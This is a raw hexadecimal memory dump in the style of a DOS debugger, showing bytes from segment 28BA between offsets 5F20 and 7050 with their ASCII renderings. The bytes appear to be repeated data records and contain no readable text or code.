28BA:5F20 00 00 00 00 00 D2 A3 BA 28 F6 5E BA 28 A7 AD 99 ........(.^.(...
28BA:5F30 05 09 5A 89 5A 51 5A 5A 5A 17 5F BA 28 02 25 5F ..Z.ZQZZZ._.(.%_
28BA:5F40 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 D2 A3 .(..............
28BA:5F50 BA 28 F6 5E BA 28 AA D8 7C 05 E6 58 89 5A 51 5A .(.^.(..|..X.ZQZ
28BA:5F60 5A 5A 17 5F BA 28 02 4E 5F BA 28 2D 5F BA 28 01 ZZ._.(.N_.(-_.(.
28BA:5F70 02 A0 07 0F 1F 00 00 2C 00 39 00 79 00 8A 00 00 .......,.9.y....
28BA:5F80 00 00 00 00 00 3A 00 53 00 78 00 98 00 77 5F BA .....:.S.x...w_.
28BA:5F90 28 00 00 D2 A3 BA 28 56 5F BA 28 C0 D3 73 05 8C (.....(V_.(..s..
28BA:5FA0 58 E4 58 9A 58 A6 58 85 5F BA 28 02 93 5F BA 28 X.X.X.X._.(.._.(
28BA:5FB0 00 00 00 00 00 02 A0 07 0F 1F 00 00 27 00 6B 00 ............'.k.
28BA:5FC0 CD 00 ED 00 00 00 00 00 00 00 D2 A3 BA 28 9B 5F .............(._
28BA:5FD0 BA 28 EC FE 67 05 1E 58 8A 58 38 58 4A 58 BC 5F .(..g..X.X8XJX._
28BA:5FE0 BA 28 02 CA 5F BA 28 00 00 00 00 00 02 A0 07 0F .(.._.(.........
28BA:5FF0 1F 00 00 1C 00 2E 00 0A 00 1B 00 00 00 00 00 00 ................
28BA:6000 00 2F 00 69 00 0A 00 2D 00 F3 5F BA 28 00 00 D2 ./.i...-.._.(...
28BA:6010 A3 BA 28 D2 5F BA 28 08 D9 5D 05 B9 57 1B 58 DA ..(._.(..]..W.X.
28BA:6020 57 E6 57 01 60 BA 28 02 0F 60 BA 28 00 00 00 00 W.W.`.(..`.(....
28BA:6030 00 02 A0 07 0F 1F 00 00 D2 A3 BA 28 D2 5F BA 28 ...........(._.(
28BA:6040 3F E7 59 05 8F 57 1B 58 DA 57 E6 57 01 60 BA 28 ?.Y..W.X.W.W.`.(
28BA:6050 02 38 60 BA 28 17 60 BA 28 01 02 A0 07 0F 1F 00 .8`.(.`.(.......
28BA:6060 00 79 00 91 00 3E 00 6A 00 00 00 00 00 00 00 D2 .y...>.j........
28BA:6070 A3 BA 28 40 60 BA 28 B4 83 45 05 BE 56 8A 57 11 ..(@`.(..E..V.W.
28BA:6080 57 39 57 61 60 BA 28 02 6F 60 BA 28 00 00 00 00 W9Wa`.(.o`.(....
28BA:6090 01 02 A0 07 0F 1F 00 00 77 60 BA 28 B5 AE 04 05 ........w`.(....
28BA:60A0 59 54 BE 56 00 00 00 00 00 00 00 00 01 98 60 BA YT.V..........`.
28BA:60B0 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 43 00 67 (............C.g
28BA:60C0 00 78 00 A0 00 00 00 00 00 28 00 B4 6A EF 0D AE .x.......(..j...
28BA:60D0 D2 D1 D2 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:60E0 00 00 00 00 00 00 A0 07 0F 1F 00 00 D2 A3 BA 28 ...............(
28BA:60F0 CB 60 BA 28 0D E9 E1 0D 2A D2 AD D2 78 D2 8E D2 .`.(....*...x...
28BA:6100 BD 60 BA 28 02 EC 60 BA 28 00 00 00 00 00 02 A0 .`.(..`.(.......
28BA:6110 07 0F 1F 00 00 49 27 F3 0D D2 D2 EB D2 00 00 00 .....I'.........
28BA:6120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6130 A0 07 0F 1F 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6150 00 0A 0C 04 25 00 00 36 61 BA 28 F4 71 A5 04 06 ....%..6a.(.q...
28BA:6160 4D 9B 4D 00 00 00 00 00 00 00 00 01 57 61 BA 28 M.M.........Wa.(
28BA:6170 00 00 00 00 00 00 A0 07 0F 1F 00 00 85 CA B0 04 ................
28BA:6180 9D 4D 10 4E 00 00 00 00 00 00 00 00 01 57 61 BA .M.N.........Wa.
28BA:6190 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 7C 61 BA (............|a.
28BA:61A0 28 94 55 A1 04 BE 4C CD 4C 00 00 00 00 00 00 00 (.U...L.L.......
28BA:61B0 00 01 9D 61 BA 28 00 00 00 00 00 00 A0 07 0F 1F ...a.(..........
28BA:61C0 00 00 1D 00 32 00 30 00 61 00 00 00 00 00 05 00 ....2.0.a.......
28BA:61D0 5B 61 BA 28 A1 61 BA 28 C2 8B A0 04 8D 4C BA 4C [a.(.a.(.....L.L
28BA:61E0 9F 4C B0 4C C2 61 BA 28 02 D0 61 BA 28 00 00 00 .L.L.a.(..a.(...
28BA:61F0 00 00 02 A0 07 0F 1F 00 00 D8 61 BA 28 D2 5D A0 ..........a.(.].
28BA:6200 04 7D 4C 8B 4C 00 00 00 00 00 00 00 00 01 F9 61 .}L.L..........a
28BA:6210 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 1D 00 .(..............
28BA:6220 35 00 87 00 B7 00 00 00 00 00 05 00 D8 61 BA 28 5............a.(
28BA:6230 FD 61 BA 28 3B 8E 9B 04 17 4C 7C 4C 5D 4C 70 4C .a.(;....L|L]LpL
28BA:6240 1E 62 BA 28 02 2C 62 BA 28 00 00 00 00 00 02 A0 .b.(.,b.(.......
28BA:6250 07 0F 1F 00 00 34 62 BA 28 EC 2A 9B 04 F6 4B 14 .....4b.(.*...K.
28BA:6260 4C 00 00 00 00 00 00 00 00 01 55 62 BA 28 00 00 L.........Ub.(..
28BA:6270 00 00 00 00 A0 07 0F 1F 00 00 2C 00 3F 00 5D 00 ..........,.?.].
28BA:6280 AA 00 00 00 00 00 04 00 34 62 BA 28 59 62 BA 28 ........4b.(Yb.(
28BA:6290 25 03 97 04 9F 4B F3 4B DD 4B E9 4B 7A 62 BA 28 %....K.K.K.Kzb.(
28BA:62A0 02 88 62 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 ..b.(...........
28BA:62B0 00 90 62 BA 28 AD EE 93 04 7E 4B 9E 4B 00 00 00 ..b.(....~K.K...
28BA:62C0 00 00 00 00 00 01 B1 62 BA 28 00 00 00 00 00 00 .......b.(......
28BA:62D0 A0 07 0F 1F 00 00 2F 00 46 00 5D 00 AF 00 00 00 ....../.F.].....
28BA:62E0 00 00 04 00 90 62 BA 28 B5 62 BA 28 32 EE 90 04 .....b.(.b.(2...
28BA:62F0 2F 4B 7D 4B 64 4B 75 4B D6 62 BA 28 02 E4 62 BA /K}KdKuK.b.(..b.
28BA:6300 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 00 66 D8 (.............f.
28BA:6310 47 04 C1 46 DE 46 00 00 00 00 00 00 00 00 00 00 G..F.F..........
28BA:6320 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 1A ................
28BA:6330 00 2A 00 9A 00 A7 00 00 00 00 00 00 00 D2 A3 BA .*..............
28BA:6340 28 0E 63 BA 28 08 BB 46 04 5D 46 BF 46 68 46 7F (.c.(..F.]F.FhF.
28BA:6350 46 2F 63 BA 28 02 3D 63 BA 28 00 00 00 00 00 02 F/c.(.=c.(......
28BA:6360 A0 07 0F 1F 00 00 99 11 3F 04 39 44 5C 44 00 00 ........?.9D\D..
28BA:6370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6380 00 A0 07 0F 1F 00 00 20 00 30 00 BB 00 CA 00 00 ....... .0......
28BA:6390 00 00 00 00 00 D2 A3 BA 28 66 63 BA 28 C6 4B 3D ........(fc.(.K=
28BA:63A0 04 AE 43 36 44 CC 43 E2 43 87 63 BA 28 02 95 63 ..C6D.C.C.c.(..c
28BA:63B0 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 D9 0C .(..............
28BA:63C0 41 04 B2 44 EE 44 00 00 00 00 00 00 00 00 00 00 A..D.D..........
28BA:63D0 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 48 ...............H
28BA:63E0 00 65 00 5F 00 71 00 00 00 00 00 00 00 D2 A3 BA .e._.q..........
28BA:63F0 28 BE 63 BA 28 B7 B7 3F 04 64 44 B0 44 7F 44 88 (.c.(..?.dD.D.D.
28BA:6400 44 DF 63 BA 28 02 ED 63 BA 28 00 00 00 00 00 02 D.c.(..c.(......
28BA:6410 A0 07 0F 1F 00 00 1B 00 2A 00 99 00 A5 00 00 00 ........*.......
28BA:6420 00 00 00 00 F6 08 46 04 3B 46 66 46 00 00 00 00 ......F.;FfF....
28BA:6430 16 64 BA 28 00 00 00 00 00 00 00 00 00 00 00 A0 .d.(............
28BA:6440 07 0F 1F 00 00 3F 00 5A 00 AF 00 BE 00 00 00 00 .....?.Z........
28BA:6450 00 00 00 D2 A3 BA 28 24 64 BA 28 A2 55 44 04 B8 ......($d.(.UD..
28BA:6460 45 39 46 DB 45 F3 45 45 64 BA 28 02 53 64 BA 28 E9F.E.EEd.(.Sd.(
28BA:6470 00 00 00 00 00 02 A0 07 0F 1F 00 00 B8 70 43 04 .............pC.
28BA:6480 71 45 A7 45 00 00 00 00 00 00 00 00 00 00 00 00 qE.E............
28BA:6490 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 51 00 65 .............Q.e
28BA:64A0 00 15 00 24 00 00 00 00 00 00 00 D2 A3 BA 28 7C ...$..........(|
28BA:64B0 64 BA 28 0C FE 41 04 E7 44 6D 45 1A 45 36 45 9D d.(..A..DmE.E6E.
28BA:64C0 64 BA 28 02 AB 64 BA 28 00 00 00 00 00 02 A0 07 d.(..d.(........
28BA:64D0 0F 1F 00 00 48 00 54 00 D5 00 E4 00 00 00 00 00 ....H.T.........
28BA:64E0 32 01 4C 00 56 00 B5 00 C2 00 D4 64 BA 28 42 0B 2.L.V......d.(B.
28BA:64F0 50 00 5A 00 94 00 9F 00 E2 64 BA 28 40 02 58 00 P.Z......d.(@.X.
28BA:6500 60 00 4E 00 5E 00 F0 64 BA 28 61 41 56 00 61 00 `.N.^..d.(aAV.a.
28BA:6510 0F 00 26 00 FE 64 BA 28 42 01 91 7E AA 0B A4 B9 ..&..d.(B..~....
28BA:6520 00 00 00 00 00 00 0C 65 BA 28 00 00 00 00 00 00 .......e.(......
28BA:6530 00 00 00 00 02 0A 0C 04 25 00 00 1A 65 BA 28 59 ........%...e.(Y
28BA:6540 41 65 04 97 49 30 4B 00 00 00 00 00 00 00 00 01 Ae..I0K.........
28BA:6550 3B 65 BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 ;e.(............
28BA:6560 37 00 90 00 70 00 8E 00 00 00 00 00 00 00 D2 A3 7...p...........
28BA:6570 BA 28 3F 65 BA 28 61 92 54 04 E6 48 95 49 48 49 .(?e.(a.T..H.IHI
28BA:6580 5C 49 60 65 BA 28 02 6E 65 BA 28 00 00 00 00 00 \I`e.(.ne.(.....
28BA:6590 02 A0 07 0F 1F 00 00 D2 A3 BA 28 3F 65 BA 28 11 ..........(?e.(.
28BA:65A0 44 4C 04 27 48 95 49 48 49 5C 49 60 65 BA 28 02 DL.'H.IHI\I`e.(.
28BA:65B0 97 65 BA 28 76 65 BA 28 01 02 A0 07 0F 1F 00 00 .e.(ve.(........
28BA:65C0 3D 00 4E 00 BA 00 C7 00 00 00 00 00 00 00 D2 A3 =.N.............
28BA:65D0 BA 28 9F 65 BA 28 79 A9 49 04 3D 47 25 48 A1 47 .(.e.(y.I.=G%H.G
28BA:65E0 C2 47 C0 65 BA 28 02 CE 65 BA 28 00 00 00 00 00 .G.e.(..e.(.....
28BA:65F0 02 A0 07 0F 1F 00 00 49 00 66 00 47 00 61 00 00 .......I.f.G.a..
28BA:6600 00 00 00 00 00 D2 A3 BA 28 D6 65 BA 28 1F 53 48 ........(.e.(.SH
28BA:6610 04 D5 46 3B 47 ED 46 0D 47 F7 65 BA 28 02 05 66 ..F;G.F.G.e.(..f
28BA:6620 BA 28 00 00 00 00 01 02 A0 07 0F 1F 00 00 45 63 .(............Ec
28BA:6630 BA 28 9D 63 BA 28 F5 63 BA 28 5B 64 BA 28 B3 64 .(.c.(.c.([d.(.d
28BA:6640 BA 28 9D 63 BA 28 F5 63 BA 28 5B 64 BA 28 B3 64 .(.c.(.c.([d.(.d
28BA:6650 BA 28 0D 66 BA 28 F5 A7 3D 04 B2 43 B2 43 00 00 .(.f.(..=..C.C..
28BA:6660 00 00 00 00 00 00 0A 2E 66 BA 28 00 00 00 00 C1 ........f.(.....
28BA:6670 00 E9 08 0F 1F 09 00 56 66 BA 28 82 82 3C 04 7E .......Vf.(..<.~
28BA:6680 43 B2 43 00 00 00 00 00 00 00 00 01 77 66 BA 28 C.C.........wf.(
28BA:6690 00 00 00 00 00 00 A0 07 0F 1F 00 00 46 00 5E 00 ............F.^.
28BA:66A0 D7 00 EA 00 00 00 00 00 00 00 D2 A3 BA 28 7B 66 .............({f
28BA:66B0 BA 28 6B C1 3A 04 02 43 7C 43 24 43 49 43 9C 66 .(k.:..C|C$CIC.f
28BA:66C0 BA 28 02 AA 66 BA 28 00 00 00 00 00 02 A0 07 0F .(..f.(.........
28BA:66D0 1F 00 00 20 00 36 00 75 00 84 00 00 00 00 00 00 ... .6.u........
28BA:66E0 00 D2 A3 BA 28 B2 66 BA 28 1E 96 36 04 6D 42 FF ....(.f.(..6.mB.
28BA:66F0 42 9F 42 B0 42 D3 66 BA 28 02 E1 66 BA 28 00 00 B.B.B.f.(..f.(..
28BA:6700 00 00 01 02 A0 07 0F 1F 00 00 E9 66 BA 28 B7 7C ...........f.(.|
28BA:6710 E0 03 B0 3E 80 42 00 00 00 00 00 00 00 00 01 0A ...>.B..........
28BA:6720 67 BA 28 00 00 00 00 00 02 A0 07 0F 1F 04 00 00 g.(.............
28BA:6730 15 A4 C0 03 C3 3B EC 3B 00 00 00 00 00 00 00 00 .....;.;........
28BA:6740 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 ................
28BA:6750 00 42 00 53 00 A7 00 BD 00 00 00 00 00 00 00 D2 .B.S............
28BA:6760 A3 BA 28 30 67 BA 28 4B 35 BE 03 34 3B C1 3B 5F ..(0g.(K5..4;.;_
28BA:6770 3B 78 3B 51 67 BA 28 02 5F 67 BA 28 00 00 00 00 ;x;Qg.(._g.(....
28BA:6780 00 02 A0 07 0F 1F 01 00 1E 06 C3 03 40 3C 59 3C ............@<Y<
28BA:6790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:67A0 00 00 00 A0 07 0F 1F 00 00 40 00 55 00 9E 00 B6 .........@.U....
28BA:67B0 00 00 00 00 00 00 00 D2 A3 BA 28 88 67 BA 28 AA ..........(.g.(.
28BA:67C0 85 C1 03 EC 3B 3D 3C F5 3B 0D 3C A9 67 BA 28 02 ....;=<.;.<.g.(.
28BA:67D0 B7 67 BA 28 00 00 00 00 00 02 A0 07 0F 1F 01 00 .g.(............
28BA:67E0 86 00 C5 03 9E 3C BE 3C 00 00 00 00 00 00 00 00 .....<.<........
28BA:67F0 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 ................
28BA:6800 00 4F 00 62 00 8F 00 A3 00 00 00 00 00 00 00 D2 .O.b............
28BA:6810 A3 BA 28 E0 67 BA 28 09 D2 C3 03 59 3C 9C 3C 63 ..(.g.(....Y<.<c
28BA:6820 3C 7E 3C 01 68 BA 28 02 0F 68 BA 28 00 00 00 00 <~<.h.(..h.(....
28BA:6830 00 02 A0 07 0F 1F 01 00 4D FC C6 03 07 3D 19 3D ........M....=.=
28BA:6840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6850 00 00 00 A0 07 0F 1F 00 00 3C 00 4B 00 4F 00 5D .........<.K.O.]
28BA:6860 00 00 00 00 00 00 00 D2 A3 BA 28 38 68 BA 28 9E ..........(8h.(.
28BA:6870 CF C5 03 BE 3C 05 3D C5 3C DF 3C 59 68 BA 28 02 ....<.=.<.<Yh.(.
28BA:6880 67 68 BA 28 00 00 00 00 00 02 A0 07 0F 1F 01 00 gh.(............
28BA:6890 E2 E5 C8 03 6A 3D 81 3D 00 00 00 00 00 00 00 00 ....j=.=........
28BA:68A0 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 ................
28BA:68B0 00 33 00 46 00 7A 00 90 00 00 00 00 00 00 00 D2 .3.F.z..........
28BA:68C0 A3 BA 28 90 68 BA 28 26 A0 C7 03 19 3D 69 3D 2D ..(.h.(&....=i=-
28BA:68D0 3D 3D 3D B1 68 BA 28 02 BF 68 BA 28 00 00 00 00 ===.h.(..h.(....
28BA:68E0 00 02 A0 07 0F 1F 01 00 53 00 5A 00 BF 00 D1 00 ........S.Z.....
28BA:68F0 00 00 00 00 40 01 3E 00 48 00 86 00 9A 00 E8 68 ....@.>.H......h
28BA:6900 BA 28 61 01 05 A5 A9 0B A0 B9 00 00 00 00 00 00 .(a.............
28BA:6910 F6 68 BA 28 00 00 00 00 00 00 00 00 00 00 00 0A .h.(............
28BA:6920 0C 04 25 00 00 04 69 BA 28 06 E3 D5 03 43 3E B2 ..%...i.(....C>.
28BA:6930 3E 00 00 00 00 00 00 00 00 01 25 69 BA 28 00 00 >.........%i.(..
28BA:6940 00 00 00 00 A0 07 0F 1F 00 00 70 00 7E 00 6F 00 ..........p.~.o.
28BA:6950 91 00 00 00 00 00 00 00 D2 A3 BA 28 29 69 BA 28 ...........()i.(
28BA:6960 E4 97 C9 03 81 3D 42 3E C9 3D 00 3E 4A 69 BA 28 .....=B>.=.>Ji.(
28BA:6970 02 58 69 BA 28 00 00 00 00 00 02 A0 07 0F 1F 01 .Xi.(...........
28BA:6980 00 67 67 BA 28 BF 67 BA 28 17 68 BA 28 6F 68 BA .gg.(.g.(.h.(oh.
28BA:6990 28 C7 68 BA 28 BF 67 BA 28 17 68 BA 28 6F 68 BA (.h.(.g.(.h.(oh.
28BA:69A0 28 C7 68 BA 28 60 69 BA 28 4B 35 BE 03 34 3B 34 (.h.(`i.(K5..4;4
28BA:69B0 3B 00 00 00 00 00 00 00 00 0A 81 69 BA 28 00 00 ;..........i.(..
28BA:69C0 00 00 C1 00 E9 08 0F 1F 09 00 C2 FD B4 03 D8 3A ...............:
28BA:69D0 1F 3B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .;..............
28BA:69E0 00 00 00 00 00 A0 07 0F 1F 00 00 1D 00 6F 00 7F .............o..
28BA:69F0 00 C2 00 00 00 00 00 00 00 D2 A3 BA 28 CA 69 BA ............(.i.
28BA:6A00 28 EC 6D A9 03 4D 3A D6 3A 89 3A 90 3A EB 69 BA (.m..M:.:.:.:.i.
28BA:6A10 28 02 F9 69 BA 28 00 00 00 00 00 02 A0 07 0F 1F (..i.(..........
28BA:6A20 00 00 46 00 7B 00 7F 00 C2 00 00 00 00 00 00 00 ..F.{...........
28BA:6A30 D2 A3 BA 28 01 6A BA 28 55 02 9E 03 BF 39 4A 3A ...(.j.(U....9J:
28BA:6A40 05 3A 17 3A 22 6A BA 28 02 30 6A BA 28 00 00 00 .:.:"j.(.0j.(...
28BA:6A50 00 00 02 A0 07 0F 1F 00 00 2F 00 79 00 80 00 B6 ........./.y....
28BA:6A60 00 00 00 00 00 00 00 D2 A3 BA 28 38 6A BA 28 8F ..........(8j.(.
28BA:6A70 11 97 03 70 39 BE 39 88 39 93 39 59 6A BA 28 02 ...p9.9.9.9Yj.(.
28BA:6A80 67 6A BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 gj.(............
28BA:6A90 6A B0 80 03 E3 37 F6 37 00 00 00 00 00 00 00 00 j....7.7........
28BA:6AA0 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 ................
28BA:6AB0 00 14 00 28 00 62 00 74 00 00 00 00 00 00 00 D2 ...(.b.t........
28BA:6AC0 A3 BA 28 90 6A BA 28 8A C3 78 03 70 37 E2 37 7D ..(.j.(..x.p7.7}
28BA:6AD0 37 A2 37 B1 6A BA 28 02 BF 6A BA 28 00 00 00 00 7.7.j.(..j.(....
28BA:6AE0 00 02 A0 07 0F 1F 00 00 A9 9A 88 03 7A 38 9C 38 ............z8.8
28BA:6AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6B00 00 00 00 A0 07 0F 1F 00 00 4E 00 64 00 4A 00 62 .........N.d.J.b
28BA:6B10 00 00 00 00 00 00 00 D2 A3 BA 28 E8 6A BA 28 07 ..........(.j.(.
28BA:6B20 03 82 03 F8 37 77 38 01 38 11 38 09 6B BA 28 02 ....7w8.8.8.k.(.
28BA:6B30 17 6B BA 28 00 00 00 00 00 02 A0 07 0F 1F 00 00 .k.(............
28BA:6B40 5A 00 66 00 46 00 52 00 00 00 00 00 30 31 50 00 Z.f.F.R.....01P.
28BA:6B50 61 00 0E 00 16 00 40 6B BA 28 31 01 26 00 2F 00 a.....@k.(1.&./.
28BA:6B60 7C 00 86 00 4E 6B BA 28 43 01 21 00 28 00 5F 00 |...Nk.(C.!.(._.
28BA:6B70 69 00 5C 6B BA 28 30 02 03 26 A9 0B 9E B9 00 00 i.\k.(0..&......
28BA:6B80 00 00 00 00 6A 6B BA 28 00 00 00 00 00 00 00 00 ....jk.(........
28BA:6B90 00 00 00 0A 0C 04 25 00 00 78 6B BA 28 3A E7 93 ......%..xk.(:..
28BA:6BA0 03 3C 39 63 39 00 00 00 00 00 00 00 00 01 99 6B .<9c9..........k
28BA:6BB0 BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 1A 00 .(..............
28BA:6BC0 2A 00 88 00 95 00 00 00 00 00 00 00 D2 A3 BA 28 *..............(
28BA:6BD0 9D 6B BA 28 F5 E4 8A 03 9C 38 3A 39 B9 38 CF 38 .k.(.....8:9.8.8
28BA:6BE0 BE 6B BA 28 02 CC 6B BA 28 00 00 00 00 00 02 A0 .k.(..k.(.......
28BA:6BF0 07 0F 1F 00 00 C7 6A BA 28 1F 6B BA 28 C7 6A BA ......j.(.k.(.j.
28BA:6C00 28 1F 6B BA 28 D4 6B BA 28 8A C3 78 03 70 37 70 (.k.(.k.(..x.p7p
28BA:6C10 37 00 00 00 00 00 00 00 00 05 F5 6B BA 28 00 00 7..........k.(..
28BA:6C20 00 00 C0 00 E9 08 0F 1F 04 00 09 6C BA 28 71 E4 ...........l.(q.
28BA:6C30 76 03 59 37 70 37 00 00 00 00 00 00 00 00 01 2A v.Y7p7.........*
28BA:6C40 6C BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 00 46 l.(............F
28BA:6C50 00 6B 00 19 00 2D 00 00 00 00 00 00 00 D2 A3 BA .k...-..........
28BA:6C60 28 2E 6C BA 28 F0 91 72 03 E4 36 57 37 FE 36 0C (.l.(..r..6W7.6.
28BA:6C70 37 4F 6C BA 28 02 5D 6C BA 28 00 00 00 00 01 00 7Ol.(.]l.(......
28BA:6C80 A0 07 0F 1F 00 00 D2 A3 BA 28 2E 6C BA 28 D4 E1 .........(.l.(..
28BA:6C90 6E 03 AD 36 57 37 FE 36 0C 37 4F 6C BA 28 02 86 n..6W7.6.7Ol.(..
28BA:6CA0 6C BA 28 65 6C BA 28 01 02 A0 07 0F 1F 00 00 31 l.(el.(........1
28BA:6CB0 00 46 00 82 00 97 00 00 00 00 00 00 00 D2 A3 BA .F..............
28BA:6CC0 28 8E 6C BA 28 6F 34 45 03 03 35 AA 36 2D 36 66 (.l.(o4E..5.6-6f
28BA:6CD0 36 AF 6C BA 28 02 BD 6C BA 28 00 00 00 00 00 02 6.l.(..l.(......
28BA:6CE0 A0 07 0F 1F 05 00 B1 6A 4D 02 85 26 BB 26 00 00 .......jM..&.&..
28BA:6CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:6D00 00 A0 07 0F 1F 00 00 D2 A3 BA 28 11 27 86 02 BF ..........(.'...
28BA:6D10 28 F6 28 00 00 00 00 00 00 00 00 01 07 6D BA 28 (.(..........m.(
28BA:6D20 00 00 00 00 00 00 A0 07 0F 1F 04 00 D2 A3 BA 28 ...............(
28BA:6D30 77 D0 8E 02 34 29 E2 29 00 00 00 00 00 00 00 00 w...4).)........
28BA:6D40 01 2C 6D BA 28 00 00 00 00 00 00 A0 07 0F 1F 00 .,m.(...........
28BA:6D50 00 3F 00 7A 00 61 00 A8 00 00 00 00 00 00 00 D2 .?.z.a..........
28BA:6D60 A3 BA 28 30 6D BA 28 6A 5F 8A 02 F7 28 31 29 04 ..(0m.(j_...(1).
28BA:6D70 29 0F 29 51 6D BA 28 02 5F 6D BA 28 00 00 00 00 ).)Qm.(._m.(....
28BA:6D80 00 02 A0 07 0F 1F 04 00 2E 00 6E 00 D1 00 EC 00 ..........n.....
28BA:6D90 00 00 00 00 00 00 2C 00 43 00 64 00 78 00 88 6D ......,.C.d.x..m
28BA:6DA0 BA 28 00 00 2A 00 4D 00 14 00 31 00 96 6D BA 28 .(..*.M...1..m.(
28BA:6DB0 00 00 D2 A3 BA 28 E6 6C BA 28 0B 6D BA 28 67 6D .....(.l.(.m.(gm
28BA:6DC0 BA 28 D3 EB 44 02 33 26 84 26 49 26 56 26 A4 6D .(..D.3&.&I&V&.m
28BA:6DD0 BA 28 04 B2 6D BA 28 00 00 00 00 04 02 A0 07 0F .(..m.(.........
28BA:6DE0 1F 03 00 83 AF 5C 02 23 27 5C 27 00 00 00 00 00 .....\.#'\'.....
28BA:6DF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 ................
28BA:6E00 0F 1F 00 00 31 00 47 00 8F 00 A2 00 96 6D BA 28 ....1.G......m.(
28BA:6E10 00 00 D2 A3 BA 28 E3 6D BA 28 0B 6D BA 28 67 6D .....(.m.(.m.(gm
28BA:6E20 BA 28 04 94 52 02 B9 26 21 27 DB 26 EF 26 04 6E .(..R..&!'.&.&.n
28BA:6E30 BA 28 04 12 6E BA 28 00 00 00 00 04 02 A0 07 0F .(..n.(.........
28BA:6E40 1F 03 00 F1 C2 6A 02 B8 27 F0 27 00 00 00 00 00 .....j..'.'.....
28BA:6E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 ................
28BA:6E60 0F 1F 00 00 34 00 51 00 BD 00 CF 00 96 6D BA 28 ....4.Q......m.(
28BA:6E70 00 00 D2 A3 BA 28 43 6E BA 28 0B 6D BA 28 67 6D .....(Cn.(.m.(gm
28BA:6E80 BA 28 95 69 62 02 5C 27 B5 27 7C 27 8A 27 64 6E .(.ib.\'.'|'.'dn
28BA:6E90 BA 28 04 72 6E BA 28 00 00 00 00 04 02 A0 07 0F .(.rn.(.........
28BA:6EA0 1F 03 00 B0 09 7D 02 62 28 82 28 00 00 00 00 00 .....}.b(.(.....
28BA:6EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 ................
28BA:6EC0 0F 1F 00 00 2B 00 46 00 53 00 63 00 96 6D BA 28 ....+.F.S.c..m.(
28BA:6ED0 00 00 D2 A3 BA 28 A3 6E BA 28 0B 6D BA 28 67 6D .....(.n.(.m.(gm
28BA:6EE0 BA 28 83 F4 6F 02 EA 27 61 28 0E 28 1D 28 C4 6E .(..o..'a(.(.(.n
28BA:6EF0 BA 28 04 D2 6E BA 28 00 00 00 00 04 02 A0 07 0F .(..n.(.........
28BA:6F00 1F 03 00 1E 00 61 00 46 00 A5 00 00 00 00 00 3F .....a.F.......?
28BA:6F10 01 90 79 5E 0D 0C CD 00 00 00 00 00 00 03 6F BA ..y^..........o.
28BA:6F20 28 00 00 00 00 00 00 00 00 00 00 0A 0A 0C 04 25 (..............%
28BA:6F30 00 00 11 6F BA 28 0F E1 9D 02 E3 29 8D 2C 00 00 ...o.(.....).,..
28BA:6F40 00 00 00 00 00 00 01 32 6F BA 28 00 00 00 00 00 .......2o.(.....
28BA:6F50 00 A0 07 0F 1F 00 00 2E 00 49 00 16 00 27 00 96 .........I...'..
28BA:6F60 6D BA 28 00 00 D2 A3 BA 28 36 6F BA 28 0B 6D BA m.(.....(6o.(.m.
28BA:6F70 28 67 6D BA 28 4E 10 80 02 7B 28 BB 28 8B 28 97 (gm.(N...{(.(.(.
28BA:6F80 28 57 6F BA 28 04 65 6F BA 28 00 00 00 00 04 02 (Wo.(.eo.(......
28BA:6F90 A0 07 0F 1F 03 00 C2 6D BA 28 E2 6E BA 28 22 6E .......m.(.n.("n
28BA:6FA0 BA 28 82 6E BA 28 E2 6E BA 28 C2 6D BA 28 22 6E .(.n.(.n.(.m.("n
28BA:6FB0 BA 28 75 6F BA 28 D3 EB 44 02 33 26 33 26 00 00 .(uo.(..D.3&3&..
28BA:6FC0 00 00 00 00 00 00 08 96 6F BA 28 00 00 00 00 C0 ........o.(.....
28BA:6FD0 00 E9 08 0F 1F 07 00 B6 6F BA 28 D7 80 3C 02 DD ........o.(..<..
28BA:6FE0 25 33 26 00 00 00 00 00 00 00 00 01 D7 6F BA 28 %3&..........o.(
28BA:6FF0 00 00 00 00 00 00 A0 07 0F 1F 00 00 91 00 96 00 ................
28BA:7000 9B 00 B7 00 00 00 00 00 41 01 87 00 96 00 87 00 ........A.......
28BA:7010 9B 00 FC 6F BA 28 21 01 7A 00 82 00 55 00 64 00 ...o.(!.z...U.d.
28BA:7020 0A 70 BA 28 40 01 22 00 27 00 AA 00 B5 00 18 70 .p.(@.".'......p
28BA:7030 BA 28 00 04 78 B2 A7 0B 98 B9 00 00 00 00 00 00 .(..x...........
28BA:7040 26 70 BA 28 00 00 00 00 00 00 00 00 00 00 00 0A &p.(............
28BA:7050 0C 04 25 00 00 B7 7F 36 02 9B 24 B2 24 00 00 00 ..%....6..$.$...
